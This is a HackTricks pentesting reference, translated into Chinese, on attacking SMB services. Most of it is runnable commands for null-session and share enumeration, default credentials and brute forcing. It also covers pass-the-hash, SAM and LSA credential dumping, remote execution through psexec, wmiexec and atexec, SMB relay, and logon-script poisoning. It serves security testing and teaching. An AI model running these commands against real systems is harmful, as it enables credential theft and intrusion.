139,445 - Pentesting SMB

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Port 139

The Network Basic Input Output System** (NetBIOS)** 是一个软件协议,旨在使局域网 (LAN) 内的应用程序、PCs 与桌面能够与网络硬件交互并 促进数据在网络上的传输。在 NetBIOS 网络上运行的软件应用程序的识别和定位是通过它们的 NetBIOS 名称实现的,这些名称最多可达 16 个字符,且通常不同于计算机名。当一个应用程序(充当客户端)发出命令“调用”另一个应用程序(充当服务器)并使用 TCP Port 139 时,就会在两个应用程序之间建立 NetBIOS 会话。

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn

Port 445

从技术上讲,Port 139 被称为 ‘NBT over IP’,而 Port 445 则被标识为 ‘SMB over IP’。缩写 SMB 代表 ‘Server Message Blocks’,也现代被称为 Common Internet File System (CIFS)。作为一种应用层网络协议,SMB/CIFS 主要用于实现对文件、打印机、串口的共享访问,并促进网络上节点之间的各种通信。

例如,在 Windows 的上下文中,强调 SMB 可以直接在 TCP/IP 上运行,通过使用 port 445,消除了对 NetBIOS over TCP/IP 的必要性。相反,在其他系统上会看到使用 port 139,这表明 SMB 正在与 NetBIOS over TCP/IP 一起运行。

445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

SMB

Server Message Block (SMB) 协议以 客户端-服务器 模型 运行,旨在规范对文件、目录以及打印机和路由器等网络资源的访问。该协议主要在 Windows 操作系统系列中使用,SMB 保持向后兼容,使运行较新版本 Microsoft 操作系统的设备能够与运行较旧版本的设备无缝交互。此外,Samba 项目提供了自由软件实现,使 SMB 能在 Linux 和 Unix 系统上运行,从而实现通过 SMB 的跨平台通信。

Shares(表示本地文件系统的任意部分)可以由 SMB 服务器提供,使客户端可见的层次结构在一定程度上独立于服务器的实际结构。Access Control Lists (ACLs) 用于定义访问权,允许对用户权限进行细粒度控制,包括诸如 executereadfull access 这样的属性。这些权限可以基于 shares 分配给单个用户或组,并且与服务器上设置的本地权限相互独立。

IPC$ Share

可以通过匿名 null session 获取对 IPC$ share 的访问,从而与通过命名管道暴露的服务进行交互。实用工具 enum4linux 对此非常有用。正确使用时,它可以获取:

  • 操作系统的信息
  • 上级域的详细信息
  • 本地用户和组的列表
  • 可用 SMB shares 的信息
  • 有效的系统安全策略

此功能对于网络管理员和安全专业人员评估网络上 SMB (Server Message Block) 服务的安全态势至关重要。enum4linux 提供了目标系统 SMB 环境的全面视图,这对于识别潜在漏洞并确保 SMB 服务得到妥善保护是必不可少的。

enum4linux -a target_ip

上面的命令示例说明了如何使用 enum4linux 对指定为 target_ip 的目标执行完整枚举。

什么是 NTLM

如果你不知道什么是 NTLM,或想了解它的工作原理以及如何滥用它,你会发现这篇关于 NTLM 的页面非常有趣,其中解释了 该协议如何工作以及如何利用它:

NTLM

服务器枚举

Scan 在网络中搜索主机:

nbtscan -r 192.168.0.1/24

SMB 服务器版本

要查找针对 SMB 版本的可能漏洞,重要的是知道正在使用哪个版本。如果其他使用的工具未显示此信息,你可以:

  • 使用 MSF auxiliary module **auxiliary/scanner/smb/smb_version**
  • 或者这个脚本:
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1

搜索 exploit

msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb

可能的 凭据

用户名常见密码
(blank)(blank)
guest(blank)
Administrator, admin(blank), password, administrator, admin
arcservearcserve, backup
tivoli, tmersrvdtivoli, tmersrvd, admin
backupexec, backupbackupexec, backup, arcada
test, lab, demopassword, test, lab, demo

Brute Force

SMB 环境信息

获取信息

#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>

#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb  --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information

#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

枚举用户、组与已登录用户

这些信息应该已经通过 enum4linux 和 enum4linux-ng 收集到。

crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]

ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "

rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups

枚举本地用户

Impacket

lookupsid.py -no-pass hostname.local

单行命令

for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done

Metasploit - 枚举本地用户

use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run

枚举 LSARPC 和 SAMR rpcclient

rpcclient enumeration

从 Linux 的 GUI 连接

在终端:

xdg-open smb://cascade.htb/

在文件管理器窗口(nautilus、thunar 等)

smb://friendzone.htb/general/

共享文件夹枚举

列出共享文件夹

建议始终检查是否可以访问任何内容;如果没有 credentials,请尝试使用 null credentials/guest user

smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash

smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list

crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user

连接/列出共享文件夹

#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls'  to list recursively with smbclient

#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash

手动枚举 Windows 共享并连接它们

有时你可能被限制无法显示主机的任何共享,当你尝试列出它们时看起来似乎没有可连接的共享。因此,值得短暂尝试手动连接到某个共享。

要手动枚举共享,使用有效会话(例如 null session 或有效凭证)时,应注意类似 NT_STATUS_ACCESS_DENIED 和 NT_STATUS_BAD_NETWORK_NAME 的响应。这些可能表明共享存在但你无权访问,或该共享根本不存在。

Windows 目标常见的共享名称包括

  • C$
  • D$
  • ADMIN$
  • IPC$
  • PRINT$
  • FAX$
  • SYSVOL
  • NETLOGON

(共享名称来自 Network Security Assessment 3rd edition

你可以尝试使用以下命令连接它们

smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)

或使用此脚本(使用 null session)

#/bin/bash

ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')

for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')

if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done

示例

smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session

从 Windows 枚举共享 / 不使用第三方工具

PowerShell

# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection

CMD 控制台

# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all

MMC 管理单元(图形界面)

# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc

explorer.exe(图形界面),输入 \\<ip>\ 查看可用的非隐藏共享。

挂载共享文件夹

mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share

下载文件

阅读之前的章节以了解如何使用 credentials/Pass-the-Hash 进行连接。

#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory

Commands:

  • mask: 指定用于筛选目录中文件的掩码(例如 “” 表示所有文件)
  • recurse: 切换递归模式(默认:关闭)
  • prompt: 切换是否在每次操作前询问文件名(默认:开启)
  • mget: 将所有与掩码匹配的文件从主机复制到客户端机器

(信息来自 smbclient 的 manpage)

域共享文件夹搜索

Snaffler.exe -s -d domain.local -o snaffler.log -v data
  • CrackMapExec spider.
  • -M spider_plus [--share <share_name>]
  • --pattern txt
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'

Specially interesting from shares are the files called Registry.xml as they may contain passwords for users configured with autologon via Group Policy. Or web.config files as they contains credentials.

Tip

The SYSVOL share 对域内所有已认证用户都是 可读取的。在其中你可能会 find 许多不同的 batch、VBScript 和 PowerShell scripts。 你应该 check 其中的 scripts,因为你可能会 find 包含 passwords 等敏感信息。此外,不要信任自动化的 share 列表:即使某个 share 看起来是只读的,底层的 NTFS ACLs 也可能允许写入。始终使用 smbclient 通过上传一个小文件到 \\<dc>\\SYSVOL\\<domain>\\scripts\\ 来测试。 If writable, you can poison logon scripts for RCE at user logon.

ShareHound – OpenGraph collector for SMB shares (BloodHound)

ShareHound 发现域内的 SMB shares,遍历它们,提取 ACLs,并为 BloodHound CE/Enterprise 输出 OpenGraph JSON 文件。

  • Baseline collection:
  1. LDAP: enumerate computer objects, read dNSHostName
  2. DNS: resolve each host
  3. SMB: list shares on reachable hosts
  4. Crawl shares (BFS/DFS), enumerate files/folders, capture permissions

ShareQL-driven traversal

  • ShareQL 是一个 first-match-wins DSL,用于按 host/share/path 允许/拒绝 traversal 并为每条规则设置最大深度。关注有趣的 shares 并限制递归。

Example ShareQL rules

# Only crawl shares with name containing "backup", up to depth 2
allow host * share * path * depth 0
allow host * share *backup* path * depth 2
deny  host * share * path *

用法

sharehound -ai "10.0.100.201" -au "user" -ap "Test123!" -ns "10.0.100.201" \
-rf "rules/skip_common_shares.shareql" -rf "rules/max_depth_2.shareql"
  • 通过 -ad/-au/-ap 提供 AD 凭据(或使用 -ad 配合 -au/-ap)。使用 -r/-rf 指定内联规则或文件。
  • 输出:JSON OpenGraph;导入到 BloodHound 以查询 hosts/shares/files 和 有效权限。
  • 提示:限制最大深度为 1–2,除非你的筛选器非常严格。

BloodHound 攻击面查询

  • 在 shares 上具有写入类访问权限的主体
MATCH x=(p)-[r:CanWriteDacl|CanWriteOwner|CanDsWriteProperty|CanDsWriteExtendedProperties]->(s:NetworkShareSMB)
RETURN x
  • 在共享上具有 FULL_CONTROL 的主体
Cypher: 在共享上具有 FULL_CONTROL 的主体 ```cypher MATCH (p:Principal)-[r]->(s:NetworkShareSMB) WHERE (p)-[:CanDelete]->(s) AND (p)-[:CanDsControlAccess]->(s) AND (p)-[:CanDsCreateChild]->(s) AND (p)-[:CanDsDeleteChild]->(s) AND (p)-[:CanDsDeleteTree]->(s) AND (p)-[:CanDsListContents]->(s) AND (p)-[:CanDsListObject]->(s) AND (p)-[:CanDsReadProperty]->(s) AND (p)-[:CanDsWriteExtendedProperties]->(s) AND (p)-[:CanDsWriteProperty]->(s) AND (p)-[:CanReadControl]->(s) AND (p)-[:CanWriteDacl]->(s) AND (p)-[:CanWriteOwner]->(s) RETURN p,r,s ```
  • 通过扩展名查找敏感文件(例如 VMDKs)
MATCH p=(h:NetworkShareHost)-[:HasNetworkShare]->(s:NetworkShareSMB)-[:Contains*0..]->(f:File)
WHERE toLower(f.extension) = toLower(".vmdk")
RETURN p

读取注册表

您可能可以使用一些已发现的凭据读取注册表。Impacket reg.py 允许您尝试:

sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s

后渗透

Samba 服务器的 默认配置 通常位于 /etc/samba/smb.conf,可能包含一些 危险配置

设置描述
browseable = yes允许列出当前的可用共享吗?
read only = no是否禁止创建和修改文件?
writable = yes允许用户创建和修改文件吗?
guest ok = yes允许在不使用密码的情况下连接到服务吗?
enable privileges = yes是否遵从分配给特定 SID 的权限?
create mask = 0777新创建的文件应被赋予什么权限?
directory mask = 0777新创建的目录应被赋予什么权限?
logon script = script.sh用户登录时需执行哪个脚本?
magic script = script.sh脚本关闭时应执行哪个脚本?
magic output = script.outmagic 脚本的输出应存放在哪里?

命令 smbstatus 给出关于 服务器谁已连接 的信息。

使用 Kerberos 进行认证

你可以使用工具 smbclientrpcclientKerberos 进行 认证

smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com

在 Kerberos-only 环境(NTLM 被禁用)中,对 SMB 的 NTLM 尝试可能会返回 STATUS_NOT_SUPPORTED。修复常见的 Kerberos 问题并强制 Kerberos auth:

# sync clock to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# use Kerberos with tooling (reads your TGT from ccache)
netexec smb <dc.fqdn> -k

有关完整客户端设置(krb5.conf 生成、kinit、SSH GSSAPI/SPN 注意事项),请参见:

88tcp/udp - Pentesting Kerberos

执行命令

crackmapexec

crackmapexec 可以执行命令,利用任意 mmcexec、smbexec、atexec、wmiexec,其中 wmiexec默认方法。你可以用参数 --exec-method 指定你偏好的选项:

apt-get install crackmapexec

crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash

psexec/smbexec

这两种选项都会在受害主机上(通过 SMB 使用 \pipe\svcctl创建一个新服务,并用它来执行某些东西psexec上传一个可执行文件到 ADMIN$ 共享,而 smbexec 会指向 cmd.exe/powershell.exe 并在参数中放入载荷 —— 无文件技术)。
更多信息 关于 psexec smbexec.
kali 中位于 /usr/share/doc/python3-impacket/examples/

#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash

Using 参数-k you can authenticate against kerberos instead of NTLM

wmiexec/dcomexec

隐蔽地通过 DCOM(使用 port 135.)在不接触磁盘或运行新服务的情况下执行命令 shell。
kali 中,它位于 /usr/share/doc/python3-impacket/examples/

#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

使用 参数-k 可以使用 kerberos 而不是 NTLM 进行认证

#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

AtExec

通过任务计划程序执行命令(使用 \pipe\atsvc 通过 SMB)。
kali 上它位于 /usr/share/doc/python3-impacket/examples/

./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"

Impacket 参考

https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/

ksmbd 攻击面与 SMB2/SMB3 协议模糊测试 (syzkaller)

Ksmbd Attack Surface And Fuzzing Syzkaller

Bruteforce 用户凭据

不建议这样做,如果超过允许的最大尝试次数可能会锁定账户

nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name

SMB relay attack

该攻击使用 Responder toolkit 在内部网络中 capture SMB authentication sessions,并 relays 它们到 target machine。如果认证 session is successful,它会自动把你置入 system shell
关于此攻击的更多信息。

SMB-Trap

The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: img src="\\10.10.10.10\path\image.jpg"

This happens with the functions:

  • URLDownloadToFile
  • URLDownloadToCache
  • URLOpenStream
  • URLOpenBlockingStream

Which are used by some browsers and tools (like Skype)

From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html

SMBTrap 使用 MitMf

From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html

NTLM Theft

类似于 SMB Trapping,通过向 target system 投放恶意文件(例如 via SMB),可以引发 SMB 身份验证尝试,从而允许使用诸如 Responder 的工具拦截 NetNTLMv2 哈希。该哈希随后可以离线破解,或用于 SMB relay attack

参见: ntlm_theft

HackTricks 自动化命令

Protocol_Name: SMB    #Protocol Abbreviation if there is one.
Port_Number:  137,138,139     #Comma separated if there is more than one.
Protocol_Description: Server Message Block         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.

#These are the commands I run in order every time I see an open SMB port

With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}

With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html

Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}

Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}

Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}

Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb

Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445  enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks